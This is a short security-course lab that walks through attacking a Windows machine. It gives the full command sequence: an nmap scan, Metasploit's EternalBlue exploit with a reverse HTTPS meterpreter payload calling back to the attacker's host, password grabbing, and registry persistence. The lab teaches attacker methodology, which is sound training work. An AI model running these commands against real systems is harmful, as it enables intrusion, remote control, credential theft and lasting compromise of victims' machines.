Lab 03 – Attacking

In this lab we’ll walk through a simple exploitation of a system from start to finish. Some of the steps discussed on the attacker methodology will be skipped due to restrictions of the example.

# Steps

1. Scan the target machine using nmap

nmap -sT -sV -Pn -n -T4 <ip address>

1. Exploit the target using Metasploit

msfconsole -q

* 1. Select exploit

use exploit/windows/smb/ms17\_010\_eternalblue

* 1. Set options

set rhost <ip address>

* 1. Set payload

set payload windows/x64/meterpreter/reverse\_https

* 1. Set options

set lhost <local ip address>

set lport 443

* 1. Exploit!

exploit

1. Internal reconnaissance
   1. Check which user
   2. Check where we landed on the filesystem
   3. Grab passwords
   4. Etc.
2. Setup persistence
   1. Registry key

use exploit/windows/local/registry\_persistence

* 1. Set session (where our exploit was)

set session 1

* 1. Exploit!

exploit